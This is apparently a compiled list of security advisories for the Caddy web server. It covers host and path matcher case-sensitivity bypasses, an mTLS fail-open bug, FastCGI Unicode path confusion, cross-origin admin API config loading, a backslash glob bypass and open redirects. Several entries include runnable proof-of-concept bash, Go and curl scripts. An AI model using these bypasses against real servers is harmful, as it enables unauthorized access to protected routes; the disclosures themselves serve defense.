github.com/caddyserver/caddy/v2 known bugs

### Summary Caddy's HTTP `host` request matcher is documented as case-insensitive, but when configured with a large host list (>100 entries) it becomes case-sensitive due to an optimized matching path. An attacker can bypass host-based routing and any access controls attached to that route by changing the casing of the `Host` header. ### Details In Caddy `v2.10.2`, the `MatchHost` matcher states it matches the Host value case-insensitively: - `modules/caddyhttp/matchers.go`: `type MatchHost matches requests by the Host value (case-insensitive).` However, in `MatchHost.MatchWithError`, when the host list is considered "large" (`len(m) > 100`): - `MatchHost.large()` returns true for `len(m) > 100` (`modules/caddyhttp/matchers.go`, around the `large()` helper). - The matcher takes a "fast path" using binary search over the sorted host list, and checks for an exact match using a case-sensitive string comparison (`m[pos] == reqHost`). - After the fast path fails, the fallback loop short-circuits for large lists by breaking as soon as it reaches the first non-fuzzy entry. For configs comprised of exact hostnames only (no wildcards/placeholders), this prevents the `strings.EqualFold(reqHost, host)` check from ever running. Net effect: with a host list length of 101 or more, changing only the casing of the incoming `Host` header can cause the `host` matcher to not match when it should. #### Suggested fix - Normalize exact hostnames to lower-case during `MatchHost.Provision` (at least for non-fuzzy entries). - Normalize the incoming request host (`reqHost`) to lower-case before the large-list binary search + equality check, so the optimized path stays case-insensitive. Reproduced on: - Stable release: `v2.10.2` -- this is the release I reference in the repro below. - Dev build: `v2.11.0-beta.2`. - Master tip: commit `58968b3fd38cacbf4b5e07cc8c8be27696dce60f`. ### PoC Prereqs: - bash, curl - A pre-built Caddy binary available at `/opt/caddy-2.10.2/caddy` (edit `CADDY_BIN` in the script if needed) <details> <summary>Script (Click to expand)</summary> ```bash #!/usr/bin/env bash set -euo pipefail CADDY_BIN="/opt/caddy-2.10.2/caddy" HOST="127.0.0.1" PORT="8080" TMPDIR="$(mktemp -d)" CADDYFILE="${TMPDIR}/Caddyfile" LOG="${TMPDIR}/caddy.log" cleanup() { if [ -n "${CADDY_PID:-}" ] && kill -0 "${CADDY_PID}" 2>/dev/null; then kill "${CADDY_PID}" 2>/dev/null || true wait "${CADDY_PID}" 2>/dev/null || true fi rm -rf "${TMPDIR}" 2>/dev/null || true } trap cleanup EXIT if [ ! -x "${CADDY_BIN}" ]; then echo "error: missing caddy binary at ${CADDY_BIN}" >&2 exit 2 fi echo "== Caddy version ==" "${CADDY_BIN}" version cat >"${CADDYFILE}" <<EOF { debug } :${PORT} { log @protected { host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test path /admin } respond @protected "DENY" 403 respond "ALLOW" 200 } EOF echo echo "== Caddyfile ==" cat "${CADDYFILE}" echo echo "== Start Caddy (debug + capture logs) ==" echo "cmd: ${CADDY_BIN} run --config ${CADDYFILE} --adapter caddyfile" "${CADDY_BIN}" run --config "${CADDYFILE}" --adapter caddyfile >"${LOG}" 2>&1 & CADDY_PID="$!" sleep 2 echo echo "== Request 1 (baseline - expect deny) ==" echo "cmd: curl -v -H 'Host: h050.test' http://${HOST}:${PORT}/admin" curl -v -H "Host: h050.test" "http://${HOST}:${PORT}/admin" 2>&1 || true echo echo "== Request 2 (BYPASS - expect allow) ==" echo "cmd: curl -v -H 'Host: H050.TEST' http://${HOST}:${PORT}/admin" curl -v -H "Host: H050.TEST" "http://${HOST}:${PORT}/admin" 2>&1 || true echo echo "== Stop Caddy ==" kill "${CADDY_PID}" 2>/dev/null || true wait "${CADDY_PID}" 2>/dev/null || true echo echo "== Full Caddy debug log ==" cat "${LOG}" ``` </details> <details> <summary>Expected output (Click to expand)</summary> ```bash == Caddy version == v2.10.2 h1:g/gTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL/Ovu6U8= == Caddyfile == { debug } :8080 { log @protected { host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test path /admin } respond @protected "DENY" 403 respond "ALLOW" 200 } == Start Caddy (debug + capture logs) == cmd: /opt/caddy-2.10.2/caddy run --config /tmp/tmp.3BN6rgj9yF/Caddyfile --adapter caddyfile == Request 1 (baseline - expect deny) == cmd: curl -v -H 'Host: h050.test' http://127.0.0.1:8080/admin * Trying 127.0.0.1:8080... * Connected to 127.0.0.1 (127.0.0.1) port 8080 * using HTTP/1.x > GET /admin HTTP/1.1 > Host: h050.test > User-Agent: curl/8.15.0 > Accept: */* > * Request completely sent off < HTTP/1.1 403 Forbidden < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Sun, 08 Feb 2026 22:09:09 GMT < Content-Length: 4 < * Connection #0 to host 127.0.0.1 left intact DENY == Request 2 (BYPASS - expect allow) == cmd: curl -v -H 'Host: H050.TEST' http://127.0.0.1:8080/admin * Trying 127.0.0.1:8080... * Connected to 127.0.0.1 (127.0.0.1) port 8080 * using HTTP/1.x > GET /admin HTTP/1.1 > Host: H050.TEST > User-Agent: curl/8.15.0 > Accept: */* > < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Sun, 08 Feb 2026 22:09:09 GMT < Content-Length: 5 < * Connection #0 to host 127.0.0.1 left intact ALLOW == Stop Caddy == == Full Caddy debug log == {"level":"info","ts":1770588548.012352,"msg":"maxprocs: Leaving GOMAXPROCS=4: CPU quota undefined"} {"level":"info","ts":1770588548.0125406,"msg":"GOMEMLIMIT is updated","package":"github.com/KimMachineGun/automemlimit/memlimit","GOMEMLIMIT":1844136345,"previous":9223372036854775807} {"level":"info","ts":1770588548.0125597,"msg":"using config from file","file":"/tmp/tmp.3BN6rgj9yF/Caddyfile"} {"level":"info","ts":1770588548.0131946,"msg":"adapted config to JSON","adapter":"caddyfile"} {"level":"warn","ts":1770588548.013202,"msg":"Caddyfile input is not formatted; run 'caddy fmt --overwrite' to fix inconsistencies","adapter":"caddyfile","file":"/tmp/tmp.3BN6rgj9yF/Caddyfile","line":2} {"level":"info","ts":1770588548.0139973,"logger":"admin","msg":"admin endpoint started","address":"localhost:2019","enforce_

### Summary Two swallowed errors in `ClientAuthentication.provision()` cause mTLS client certificate authentication to silently fail open when a CA certificate file is missing, unreadable, or malformed. The server starts without error but accepts any client certificate signed by any system-trusted CA, completely bypassing the intended private CA trust boundary. ### Details In `modules/caddytls/connpolicy.go`, the `provision()` method has two `return nil` statements that should be `return err`: **Bug #1 — line 787:** ```go ders, err := convertPEMFilesToDER(fpath) if err != nil { return nil // BUG: should be "return err" } ``` **Bug #2 — line 800:** ```go err := caPool.Provision(ctx) if err != nil { return nil // BUG: should be "return err" } ``` Compare with line 811 which correctly returns the error: ```go caRaw, err := ctx.LoadModule(clientauth, "CARaw") if err != nil { return err // CORRECT } ``` When the error is swallowed on line 787, the chain is: 1. `TrustedCACerts` remains empty (no DER data appended from the file) 2. The `len(clientauth.TrustedCACerts) > 0` guard on line 794 is false — skipped 3. `clientauth.CARaw` is nil — line 806 returns nil 4. `clientauth.ca` remains nil — no CA pool was created 5. `provision()` returns nil — caller thinks provisioning succeeded Then in `ConfigureTLSConfig()`: 6. `Active()` returns true because `TrustedCACertPEMFiles` is non-empty 7. Default mode is set to `RequireAndVerifyClientCert` (line 860) 8. But `clientauth.ca` is nil, so `cfg.ClientCAs` is never set (line 867 skipped) 9. Go's `crypto/tls` with `RequireAndVerifyClientCert` + nil `ClientCAs` verifies client certs against the **system root pool** instead of the intended CA The fix is changing `return nil` to `return err` on lines 787 and 800. ### PoC 1. Configure Caddy with mTLS pointing to a nonexistent CA file: ``` { "apps": { "http": { "servers": { "srv0": { "listen": [":443"], "tls_connection_policies": [{ "client_authentication": { "trusted_ca_certs_pem_files": ["/nonexistent/ca.pem"] } }] } } } } } ``` 2. Start Caddy — it starts without any error or warning. 3. Connect with any client certificate (even self-signed): ```bash openssl s_client -connect localhost:443 -cert client.pem -key client-key.pem ``` 4. The TLS handshake succeeds despite the certificate not being signed by the intended CA. A full Go test that proves the bug end-to-end (including a successful TLS handshake with a random self-signed client cert) is here: https://gist.github.com/moscowchill/9566c79c76c0b64c57f8bd0716f97c48 Test output: ``` === RUN TestSwallowedErrorMTLSFailOpen BUG CONFIRMED: provision() swallowed the error from a nonexistent CA file. tls.Config has RequireAndVerifyClientCert but ClientCAs is nil. CRITICAL: TLS handshake succeeded with a self-signed client cert! The server accepted a client certificate NOT signed by the intended CA. --- PASS: TestSwallowedErrorMTLSFailOpen (0.03s) ``` ### Impact Any deployment using `trusted_ca_cert_file` or `trusted_ca_certs_pem_files` for mTLS will silently degrade to accepting any system-trusted client certificate if the CA file becomes unavailable. This can happen due to a typo in the path, file rotation, corruption, or permission changes. The server gives no indication that mTLS is misconfigured.

### Summary Caddy's HTTP `path` request matcher is intended to be case-insensitive, but when the match pattern contains percent-escape sequences (`%xx`) it compares against the request's escaped path without lowercasing. An attacker can bypass path-based routing and any access controls attached to that route by changing the casing of the request path. ### Details In Caddy `v2.10.2`, `MatchPath` is explicitly designed to be case-insensitive and lowercases match patterns during provisioning: - `modules/caddyhttp/matchers.go`: rationale captured in the `MatchPath` comment. - `MatchPath.Provision` lowercases configured patterns via `strings.ToLower`. - `MatchPath.MatchWithError` lowercases the request path for the normal matching path: `reqPath := strings.ToLower(r.URL.Path)`. But when a match pattern contains a percent sign (`%`), `MatchPath.MatchWithError` switches to "escaped space" matching and builds the comparison string from `r.URL.EscapedPath()`: - `reqPathForPattern := CleanPath(r.URL.EscapedPath(), mergeSlashes)` - If it doesn't match, it `continue`s (skipping the remaining matching logic for that pattern). Because `r.URL.EscapedPath()` is not lowercased, case differences in the request path can cause the escaped-space match to fail even though `MatchPath` is meant to be case-insensitive. For example, with a pattern of `/admin%2Fpanel`: - Requesting `/admin%2Fpanel` matches and can be denied as intended. - Requesting `/ADMIN%2Fpanel` does not match and falls through to other routes/handlers. #### Suggested fix - In the `%`-pattern matching path, ensure the effective string passed to `path.Match` is lowercased (same as the normal branch). - Simplest seems to lowercase the constructed string in `matchPatternWithEscapeSequence` right before `path.Match`. Reproduced on: - Stable release: `v2.10.2` -- this is the release referenced in the reproduction below. - Dev build: `v2.11.0-beta.2`. - Master tip: commit `58968b3fd38cacbf4b5e07cc8c8be27696dce60f`. ### PoC Prereqs: - bash, curl - A pre-built Caddy binary available at `/opt/caddy-2.10.2/caddy` (edit `CADDY_BIN` in the script if needed) <details> <summary>Script (Click to expand)</summary> ```bash #!/usr/bin/env bash set -euo pipefail CADDY_BIN="/opt/caddy-2.10.2/caddy" HOST="127.0.0.1" PORT="8080" TMPDIR="$(mktemp -d)" CADDYFILE="${TMPDIR}/Caddyfile" LOG="${TMPDIR}/caddy.log" cleanup() { if [ -n "${CADDY_PID:-}" ] && kill -0 "${CADDY_PID}" 2>/dev/null; then kill "${CADDY_PID}" 2>/dev/null || true wait "${CADDY_PID}" 2>/dev/null || true fi rm -rf "${TMPDIR}" 2>/dev/null || true } trap cleanup EXIT if [ ! -x "${CADDY_BIN}" ]; then echo "error: missing caddy binary at ${CADDY_BIN}" >&2 exit 2 fi echo "== Caddy version ==" "${CADDY_BIN}" version cat >"${CADDYFILE}" <<EOF { debug } :${PORT} { log @block { path /admin%2Fpanel } respond @block "DENY" 403 respond "ALLOW" 200 } EOF echo echo "== Caddyfile ==" cat "${CADDYFILE}" echo echo "== Start Caddy (debug + capture logs) ==" echo "cmd: ${CADDY_BIN} run --config ${CADDYFILE} --adapter caddyfile" "${CADDY_BIN}" run --config "${CADDYFILE}" --adapter caddyfile >"${LOG}" 2>&1 & CADDY_PID="$!" sleep 2 echo echo "== Request 1 (baseline - expect deny) ==" echo "cmd: curl -v -H 'Host: example.test' http://${HOST}:${PORT}/admin%2Fpanel" curl -v -H "Host: example.test" "http://${HOST}:${PORT}/admin%2Fpanel" 2>&1 || true echo echo "== Request 2 (BYPASS - expect allow) ==" echo "cmd: curl -v -H 'Host: example.test' http://${HOST}:${PORT}/ADMIN%2Fpanel" curl -v -H "Host: example.test" "http://${HOST}:${PORT}/ADMIN%2Fpanel" 2>&1 || true echo echo "== Stop Caddy ==" kill "${CADDY_PID}" 2>/dev/null || true wait "${CADDY_PID}" 2>/dev/null || true echo echo "== Full Caddy debug log ==" cat "${LOG}" ``` </details> <details> <summary>Expected output (Click to expand)</summary> ```bash == Caddy version == v2.10.2 h1:g/gTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL/Ovu6U8= == Caddyfile == { debug } :8080 { log @block { path /admin%2Fpanel } respond @block "DENY" 403 respond "ALLOW" 200 } == Start Caddy (debug + capture logs) == cmd: /opt/caddy-2.10.2/caddy run --config /tmp/tmp.GXiRbxOnBN/Caddyfile --adapter caddyfile == Request 1 (baseline - expect deny) == cmd: curl -v -H 'Host: example.test' http://127.0.0.1:8080/admin%2Fpanel * Trying 127.0.0.1:8080... * Connected to 127.0.0.1 (127.0.0.1) port 8080 * using HTTP/1.x > GET /admin%2Fpanel HTTP/1.1 > Host: example.test > User-Agent: curl/8.15.0 > Accept: */* > * Request completely sent off < HTTP/1.1 403 Forbidden < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Sun, 08 Feb 2026 22:19:20 GMT < Content-Length: 4 < * Connection #0 to host 127.0.0.1 left intact DENY == Request 2 (BYPASS - expect allow) == cmd: curl -v -H 'Host: example.test' http://127.0.0.1:8080/ADMIN%2Fpanel * Trying 127.0.0.1:8080... * Connected to 127.0.0.1 (127.0.0.1) port 8080 * using HTTP/1.x > GET /ADMIN%2Fpanel HTTP/1.1 > Host: example.test > User-Agent: curl/8.15.0 > Accept: */* > * Request completely sent off < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Sun, 08 Feb 2026 22:19:20 GMT < Content-Length: 5 < * Connection #0 to host 127.0.0.1 left intact ALLOW == Stop Caddy == == Full Caddy debug log == {"level":"info","ts":1770589158.3687892,"msg":"maxprocs: Leaving GOMAXPROCS=4: CPU quota undefined"} {"level":"info","ts":1770589158.3690693,"msg":"GOMEMLIMIT is updated","package":"github.com/KimMachineGun/automemlimit/memlimit","GOMEMLIMIT":1844136345,"previous":9223372036854775807} {"level":"info","ts":1770589158.369109,"msg":"using config from file","file":"/tmp/tmp.GXiRbxOnBN/Caddyfile"} {"level":"info","ts":1770589158.3704133,"msg":"adapted config to JSON","adapter":"caddyfile"} {"level":"warn","ts":1770589158.370424,"msg":"Caddyfile input is not formatted; run 'caddy fmt --overwrite' to fix inconsistencies","adapter":"caddyfile","file":"/tmp/tmp.GXiRbxOnBN/Caddyfile","line":2} {"level":"info","ts":1770589158.3715324,"logger":"admin","msg":"admin endpoint started","address":"localhost:2019","enforce_origin":false,"origins":["//localhost:2019","//[::1]:2019","//127.0.0.1:2019"]} {"level":"debug","ts":1770589158.3716462,"logger":"http.auto_https","msg":"adjusted config","tls":{"automation":{"policies":[{}]}},"http":{"servers":{"srv0":{"listen":[":8080"],"routes":[{"handle":[{"body":"DENY","handler":"static_response","status_code":403}]},{"handle":[{"body":"ALLOW","handler":"static_response","status_code":200}]}],"automatic_https":{},"logs":{}}}}} {"level":"debug","ts":1770589158.3718414,"logger":"http","msg":"starting server loop","address":"[::]:8080","tls":false,"http3":false} {"level":"warn","ts":1770589158.371858,"logger":"http","msg":"HTTP/2 skipped because it requires TLS","network":"tcp","addr":":8080"} {"level":"warn","ts":1770589158.3718607,"logger":"http","msg":"HTTP/3 skipped because it requires TLS","network":"tcp","addr":":8080"} {"level":"info","ts":1770589158.3718636,"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]} {"level":"debug","ts":1770589158.3718896,"logger":"events","msg":"event","name":"started","id":"6bb8b6fe-4980-4a48-9f7e-2146ecd48ce6","origin":"","data":null} {"level":"info","ts":1770589158.3720388,"msg":"autosaved config (load with --resume flag)","file":"/home/vh/.config/caddy/autosave.json"} {"level":"info","ts":1770589158.3720443,"msg":"serving initial configuration"} {"level":"info","ts":1770589158.372355,"logger":"tls.cache.maintenance","msg":"started background certificate maintenance","cache":"0xc00064d180"} {"level":"info","ts":1770589158.3855736,"logger":"tls","msg":"storage cleaning happened too recently; skipping for now","storage":"FileStorage:/home/vh/.local/share/caddy","instance":"a259f82d-3c7c-4706-9ca8-17456b4af729","try_again":1770675558.3855705,"try_again_in":86399.999999388} {"level":"info","ts":177058

### Summary Caddy's FastCGI path splitting logic computes the split index on a lowercased copy of the request path and then uses that byte index to slice the original path. This is unsafe for Unicode because `strings.ToLower()` can change UTF-8 byte length for some characters. As a result, Caddy can derive an incorrect `SCRIPT_NAME`/`SCRIPT_FILENAME` and `PATH_INFO`, potentially causing a request that contains `.php` to execute a different on-disk file than intended (path confusion). In setups where an attacker can control file contents (e.g., upload features), this can lead to unintended PHP execution of non-.php files (potential RCE depending on deployment). ### Details The issue is in `github.com/caddyserver/caddy/modules/caddyhttp/fastcgi.Trasnport.splitPos()` (and the subsequent slicing in `buildEnv()`): ``` lowerPath := strings.ToLower(path) idx := strings.Index(lowerPath, strings.ToLower(split)) return idx + len(split) ``` The returned index is computed in the byte space of lowerPath, but `buildEnv()` applies it to the original path: - `docURI = path[:splitPos]` - `pathInfo = path[splitPos:]` - `scriptName = strings.TrimSuffix(path, fc.pathInfo)` - `scriptFilename = caddyhttp.SanitizedPathJoin(fc.documentRoot, fc.scriptName)` This assumes `lowerPath` and `path` have identical byte lengths and identical byte offsets, which is not true for some Unicode case mappings. Certain characters expand when lowercased (UTF-8 byte length increases), shifting the computed index. This creates a mismatch where `.php` is found in the lowercased string at an offset that does not correspond to the same position in the original string, causing the split point to land later/earlier than intended. ### PoC Create a small Go program that reproduces Caddy's `splitPos()` behavior (compute the `.php` split point on a lowercased path, then use that byte index on the original path): 1. Save this as `poc.go`: ```go package main import ( "fmt" "strings" ) func splitPos(path string, split string) int { lowerPath := strings.ToLower(path) idx := strings.Index(lowerPath, strings.ToLower(split)) if idx < 0 { return -1 } return idx + len(split) } func main() { // U+023A: Ⱥ (UTF-8: C8 BA). Lowercase is ⱥ (UTF-8: E2 B1 A5), longer in bytes. path := "/ȺȺȺȺshell.php.txt.php" split := ".php" pos := splitPos(path, split) fmt.Printf("orig bytes=%d\n", len(path)) fmt.Printf("lower bytes=%d\n", len(strings.ToLower(path))) fmt.Printf("splitPos=%d\n", pos) fmt.Printf("orig[:pos]=%q\n", path[:pos]) fmt.Printf("orig[pos:]=%q\n", path[pos:]) // Expected split: right after the first ".php" in the original string want := strings.Index(path, split) + len(split) fmt.Printf("expected splitPos=%d\n", want) fmt.Printf("expected orig[:]=%q\n", path[:want]) } ``` 2. Run it: ```console go run poc.go ``` Output on my side: ``` orig bytes=26 lower bytes=30 splitPos=22 orig[:pos]="/ȺȺȺȺshell.php.txt" orig[pos:]=".php" expected splitPos=18 expected orig[:]="/ȺȺȺȺshell.php" ``` Expected split is right after the first `.php` (`/ȺȺȺȺshell.php`). Instead, the computed split lands later and cuts the original path after `shell.php.txt`, leaving `.php` as the remainder. ### Impact Security boundary bypass/path confusion in script resolution. In typical deployments, `.php` extension boundaries are relied on to decide what is executed by PHP. This bug can cause Caddy/FPM to execute a different file than intended by confusing `SCRIPT_NAME`/`SCRIPT_FILENAME`. If an attacker can place attacker-controlled content into a file that can be resolved as `SCRIPT_FILENAME` (common in web apps with uploads or writable directories), this can lead to unintended PHP execution of non-.php files and potentially remote code execution. Severity depends on deployment and presence of attacker-controlled file writes, but the primitive itself is remotely triggerable via crafted URLs. This vulnerability was initially reported to FrankenPHP (https://github.com/php/frankenphp/security/advisories/GHSA-g966-83w7-6w38) by @AbdrrahimDahmani. The affected code has been copied/adapted from Caddy, which, according to research, is also affected. The patch is a port of the FrankenPHP patch.

Caddy's vars_regexp double-expands user input, leaking env vars and files in github.com/caddyserver/caddy

Caddy forward_auth copy_headers Does Not Strip Client-Supplied Headers, Allowing Identity Injection and Privilege Escalation in github.com/caddyserver/caddy

Caddy MatchHost becomes case-sensitive in github.com/caddyserver/caddy/v2

Caddy mTLS authentication fails open in github.com/caddyserver/caddy/v2

Caddy MatchPath %xx branch skips case normalization in github.com/caddyserver/caddy/v2

Caddy is vulnerable to cross-origin config application via local admin API /load in github.com/caddyserver/caddy/v2

Unicode case-folding causes incorrect split_path index in github.com/caddyserver/caddy/v2

Improper sanitization of glob characters in github.com/caddyserver/caddy/v2

Due to improper request sanitization, a crafted URL can cause the static file handler to redirect to an attacker chosen URL, allowing for open redirect attacks.

Caddy v2.4.6 was discovered to contain an open redirection vulnerability which allows attackers to redirect users to phishing websites via crafted URLs

commit: e0f8d9b2047af417d8faf354b675941f3dac9891 (as-of 2026-02-04) channel: GitHub security advisory (per SECURITY.md) ## summary The local caddy admin API (default listen `127.0.0.1:2019`) exposes a state-changing `POST /load` endpoint that replaces the entire running configuration. When origin enforcement is not enabled (`enforce_origin` not configured), the admin endpoint accepts cross-origin requests (e.g., from attacker-controlled web content in a victim browser) and applies an attacker-supplied JSON config. this can change the admin listener settings and alter HTTP server behavior without user intent. ## Severity Medium Justification: - The attacker can apply an arbitrary caddy config (integrity impact) by driving a victim’s local admin API. - Exploitation requires a victim running caddy with the admin API enabled and visiting an attacker-controlled page (or otherwise issuing the request from an untrusted local client). ## Affected component - `caddyconfig/load.go: adminLoad.handleLoad` (`/load` admin endpoint) - Pinned callsite: https://github.com/caddyserver/caddy/blob/e0f8d9b2047af417d8faf354b675941f3dac9891/caddyconfig/load.go#L73 ## Reproduction Attachment: `poc.zip` (integration harness) with canonical and control runs. ```bash unzip -q -o poc.zip -d poc cd poc/poc-F-CADDY-ADMIN-LOAD-001 make test ``` Expected output (excerpt): ``` [CALLSITE_HIT]: adminLoad.handleLoad [PROOF_MARKER]: http_code=200 admin_moved=true response_pwned=true ``` Control output (excerpt): ``` [NC_MARKER]: http_code=403 load_blocked=true admin_moved=false response_pwned=false ``` ## Impact An attacker can replace the running caddy configuration via the local admin API. Depending on the deployed configuration/modules, this can: - Change admin listener settings (e.g., move the admin listener to a new address) - Change HTTP server behavior (e.g., alter routes/responses) ## Suggested remediation Ensure cross-origin web content cannot trigger `POST /load` on the local admin API by default, for example by: - Enabling origin enforcement by default for unsafe methods, and/or - Requiring an unguessable token for `/load` (and other state-changing admin endpoints). [poc.zip](https://github.com/user-attachments/files/25079818/poc.zip) [PR_DESCRIPTION.md](https://github.com/user-attachments/files/25079820/PR_DESCRIPTION.md)

### Summary The path sanitization in [file matcher](https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L361) doesn't sanitize backslashes which can lead to bypassing path related security protections. ### Details The [try_files](https://caddyserver.com/docs/caddyfile/directives/try_files) directive is used to rewrite the request uri. It accepts a list of patterns and checks if any files exist in the root that match the provided patterns. It's commonly used in Caddy configs. For example, it's used in SPA applications to rewrite every route that doesn't exist as a file to `index.html`. ```caddy example.com { root * /srv encode try_files {path} /index.html file_server } ``` `try_files` patterns are actually glob patterns and file matcher expands them. The `{path}` in the pattern is replaced with the request path and then [is expanded by `fs.Glob`](https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L398). The request path is sanitized before being placed inside the pattern and the special chars are escaped . [The following code](https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L361) is the sanitization part. ```go var globSafeRepl = strings.NewReplacer( "*", "\\*", "[", "\\[", "?", "\\?", ) expandedFile, err := repl.ReplaceFunc(file, func(variable string, val any) (any, error) { if runtime.GOOS == "windows" { return val, nil } switch v := val.(type) { case string: return globSafeRepl.Replace(v), nil case fmt.Stringer: return globSafeRepl.Replace(v.String()), nil } return val, nil }) ``` The problem here is that it does not escape backslashes. `/something-\*/` can match a file named `something-\-anything.txt`, but it should not. The primitive that this vulnerability provides is not very useful, as it only allows an attacker to guess filenames that contain a backslash and they should also know the characters before that backslash. The backslash is mainly used to escape special characters in glob patterns, but when it appears before non special characters, it is ignored. This means that `h\ello*` matches `hello world` even though `e` is not a special character. This behavior can be abused to bypass path protections that might be in place. For example, if there is a reverse proxy that only allows `/documents/*` to the internal network and its upstream is a Caddy server that uses `try_files`, the reverse proxy's protection can be bypassed by requesting the path `/do%5ccuments/`. Some configurations that implement blacklisting and serving together in Caddy are also vulnerable but there's a condition that the `try_files` directive and the filtering `route`/`handle` must not be in a same block because `try_files` directive [executes before `route` and `handle` directives](https://caddyserver.com/docs/caddyfile/directives#directive-order). For example the following config isn't vulnerable. ```caddy :80 { root * /srv route /documents/* { respond "Access denied" 403 } try_files {path} /index.html file_server } ``` But this one is vulnerable. ```caddy :80 { root * /srv route /documents/* { respond "Access denied" 403 } route /* { try_files {path} /index.html } file_server } ``` This config is also vulnerable because `Header` directives executes before `try_files`. ```caddy :80 { root * /srv header /uploads/* { X-Content-Type-Options "nosniff" Content-Security-Policy "default-src 'none';" } try_files {path} /index.html file_server } ``` ### PoC Paste this script somewhere and run it. It should print "some content" which means that the nginx protection has failed. ```bash #!/bin/bash mkdir secret echo 'some content' > secret/secret.txt cat > Caddyfile <<'EOF' :80 { root * /srv try_files {path} /index.html file_server } EOF cat > nginx.conf <<'EOF' events {} http { server { listen 80; location /secret { return 403; } location / { proxy_pass http://caddy; proxy_set_header Host $host; } } } EOF cat > docker-compose.yml <<'EOF' services: caddy: # caddy@sha256:c3d7ee5d2b11f9dc54f947f68a734c84e9c9666c92c88a7f30b9cba5da182adb image: caddy:latest volumes: - ./Caddyfile:/etc/caddy/Caddyfile:ro - ./secret:/srv/secret:ro nginx: # nginx@sha256:341bf0f3ce6c5277d6002cf6e1fb0319fa4252add24ab6a0e262e0056d313208 image: nginx:latest volumes: - ./nginx.conf:/etc/nginx/nginx.conf:ro ports: - "8000:80" EOF docker compose up -d curl 'localhost:8000/secre%5ct/secret.txt' ``` ### Impact This vulnerability may allow an attacker to bypass security protections. It affects users with specific Caddy and environment configurations. ### AI Usage An LLM was used to polish this report.

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.